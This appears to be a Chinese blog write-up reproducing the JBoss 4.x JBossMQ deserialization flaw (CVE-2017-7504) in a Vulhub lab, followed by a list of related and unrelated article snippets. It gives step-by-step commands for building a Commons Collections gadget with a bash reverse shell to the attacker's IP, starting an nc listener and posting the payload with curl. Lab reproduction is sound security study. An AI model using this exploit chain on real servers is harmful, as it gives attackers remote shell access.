前言:

    序列化就是把对象转换成字节流,便于保存在内存、文件、数据库中;反序列化即逆过程,由字节流还原成对象。

Java中的ObjectOutputStream类的writeObject()方法可以实现序列化,ObjectInputStream类的readObject()方法用于反序列化。

问题的根源在于类ObjectInputStream在反序列化时,没有对生成的对象的类型做限制。

Apache Commons Collections

    是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。

首先这个漏洞与CVE-2015-7501一样,都是利用了Apache Commons Collections的基础库进行Java反序列化漏洞的利用。

差别在于CVE-2017-7504利用路径是/jbossmq-httpil/HTTPServerILServlet,CVE-2015-7501的利用路径是/invoker/JMXInvokerServlet。

此次环境尝试用docker搭建。

靶机:

ip:192.168.112.132

操作系统:ubuntu18.0.4 LTS

攻击机:

ip:192.168.112.133

操作系统:kali

一、环境搭建

  1.docker的安装参考

    https://www.howtoing.com/ubuntu-docker

  2.安装完docker后,直接拉取vulhub的源码。

    https://github.com/vulhub/vulhub/tree/master/jboss/CVE-2017-7504

  3.靶机启动服务

    执行如下命令启动JBoss AS 4.0.5

      docker-compose up -d

  4.环境启动后,地址为http://192.168.112.132:8080/

  

  至此,靶机部分完成。

二、exp准备:

  用法实例:

    1)javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1.java
    2)java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1 '/bin/bash -i>&/dev/tcp/192.168.112.133/4444<&1'
    3)nc -lvvp 4444
    4)curl http://192.168.112.132:8080/jbossmq-httpil/HTTPServerILServlet/ --data-binary @ExampleCommonsCollections1.ser

三、exploit
  1) 选择ExampleCommonsCollections1WithHashMap,编译并生成序列化数据:   

       

  javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap.java    #编译
  java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap "bash -i >& /dev/tcp/192.168.112.133/4444 0>&1"
   #ser全称serialize,序列化恶意数据至文件。
  第一行命令执行完成后,将生成一个文件ExampleCommonsCollections1WithHashMap.class
  第二行命令执行完成后,将生成一个文件ExampleCommonsCollections1WithHashMap.ser

  

  

  2)发射:

  将该文件作为请求数据主体发送如下数据包:
  curl http://192.168.112.132:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ExampleCommonsCollections1WithHashMap.ser

   # --data-binary 意为以二进制的方式post数据

  

  反弹成功。

  

  反弹shell也可以使用工具中预置payload的文件——ReverseShellCommonsCollectionsHashMap.java

  复现过程可参考:https://www.sec-note.com/2018/03/30/Jboss/

参考链接:

  http://gv7.me/articles/2018/CVE-2017-7504/

  https://www.jianshu.com/p/d265f9514f7d

  https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/

  https://security.tencent.com/index.php/blog/msg/97

  https://www.cnblogs.com/ITEagle/archive/2010/04/10/1708989.html

  https://www.runoob.com/java/java-tutorial.html

  https://www.runoob.com/java/java-serialization.html

漏洞复现之JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)的更多相关文章

  1. JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)

    检测漏洞 工具 下载地址:https://github.com/joaomatosf/JavaDeserH2HC javac -cp .:commons-collections-3.2.1.jar E ...

  2. JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)复现

    0x00 漏洞介绍 该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中.该过滤器在没有进行任何安全检查的情 ...

  3. [漏洞复现] [Vulhub靶机] Tomcat7+ 弱口令 && 后台getshell漏洞

    免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责. 0x00 背景知识 war文件 0x01 漏洞介绍 影响范围:Tomcat 8.0版本 漏洞类型:弱口令 漏洞成因:在tomc ...

  4. JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)

    检测

  5. JAVA反序列化漏洞复现

    目录 Weblogic反序列化漏洞 Weblogic < 10.3.6 'wls-wsat' XMLDecoder 反序列化漏洞(CVE-2017-10271) Weblogic WLS Cor ...

  6. 漏洞复现:MS17-010缓冲区溢出漏洞(永恒之蓝)

    MS17-010缓冲区溢出漏洞复现 攻击机:Kali Linux 靶机:Windows7和2008 1.打开攻击机Kali Linux,msf更新到最新版本(现有版本5.x),更新命令:apt-get ...

  7. DVR登录绕过漏洞_CVE-2018-9995漏洞复现

    DVR登录绕过漏洞_CVE-2018-9995漏洞复现 一.漏洞描述 此漏洞允许攻击者通过修改”Cookie:uid=admin”之后访问特定DVR的控制面板,返回此设备的明文管理员凭证. 二.影响软 ...

  8. Apache Solr JMX服务 RCE 漏洞复现

    Apache Solr JMX服务 RCE 漏洞复现 ps:Apache Solr8.2.0下载有点慢,需要的话评论加好友我私发你 0X00漏洞简介 该漏洞源于默认配置文件solr.in.sh中的EN ...

  9. PHP远程代码执行漏洞复现(CVE-2019-11043)

    漏洞描述 CVE-2019-11043 是一个远程代码执行漏洞,使用某些特定配置的 Nginx + PHP-FPM 的服务器存在漏洞,可允许攻击者远程执行代码. 向Nginx + PHP-FPM的服务 ...

随机推荐

  1. Redis企业实战的几个坑

    一.前言 小伙伴们对Redis应该不陌生,Redis是系统必备的分布式缓存中间件,主要用来解决高并发下分担DB资源的负载,从而提升系统吞吐量. Redis支持多种数据类型,String(字符串).li ...

  2. 2.json解析

    static String jsonStr = "{\"sites\":[{\"name\":\"gold\",\"ur ...

  3. Android中活动的最佳实践(如何很快的看懂别人的代码activity)

    这种方法主要在你拿到别人的代码时候很多activity一时半会儿看不懂,用了这个方法以后就可以边实践操作就能够知道具体哪个activity是干什么用的 1.新建一个BaseActivity的类,让他继 ...

  4. [线段树]洛谷P5278 算术天才⑨与等差数列

    题目描述 算术天才⑨非常喜欢和等差数列玩耍. 有一天,他给了你一个长度为n的序列,其中第i个数为a[i]. 他想考考你,每次他会给出询问l,r,k,问区间[l,r]内的数从小到大排序后能否形成公差为k ...

  5. Linux 文件查询

    查看文件类型:file 如果你想要知道某个文件的基本数据,例如是属于ASCII或者是data文件,或者是binary,且其中有没有使用到动态函数库等等的信息,可以用file查看 which (寻找“执 ...

  6. 三大框架 之 Spring-Aop

    目录 AOP AOP简介 开发存在 的问题 JDK动态代理 cglib动态代理 Spring的AOP简介 AOP相关术语 Joinpoint:连接点 Pointcut:切入点 Advice:通知 In ...

  7. Cesium - Fabric 材质【转官网】

    https://github.com/AnalyticalGraphicsInc/cesium/wiki/Fabric Fabric Hannah edited this page on 24 Dec ...

  8. iPhone 照片为heic格式怎么处理?

      解决办法: 永久解决:进入 相机设置 为 兼容模式即可 这样设置以后拍出来的就是jpg格式啦. 之前的heic的照片可以用,格式工厂 批量转化一下.   文章来源:刘俊涛的博客 欢迎关注公众号.留 ...

  9. windows下新增项目本地通过git bash推送至远程github

    本地E盘workspace目录下新增了spring-cloud-alibaba-demo项目,还没有编译过,没有target等不需要推送至git的文件,所以就直接用git bash丢到github了. ...

  10. 解决:error: Cannot find libmysqlclient_r under /usr/local/mysql.

    libodb-mysql-2.4.0.tar.gz 解压完安装libodb-mysql时,执行完./cofigure后,出现如下错误: checking for libmysqlclient_r... ...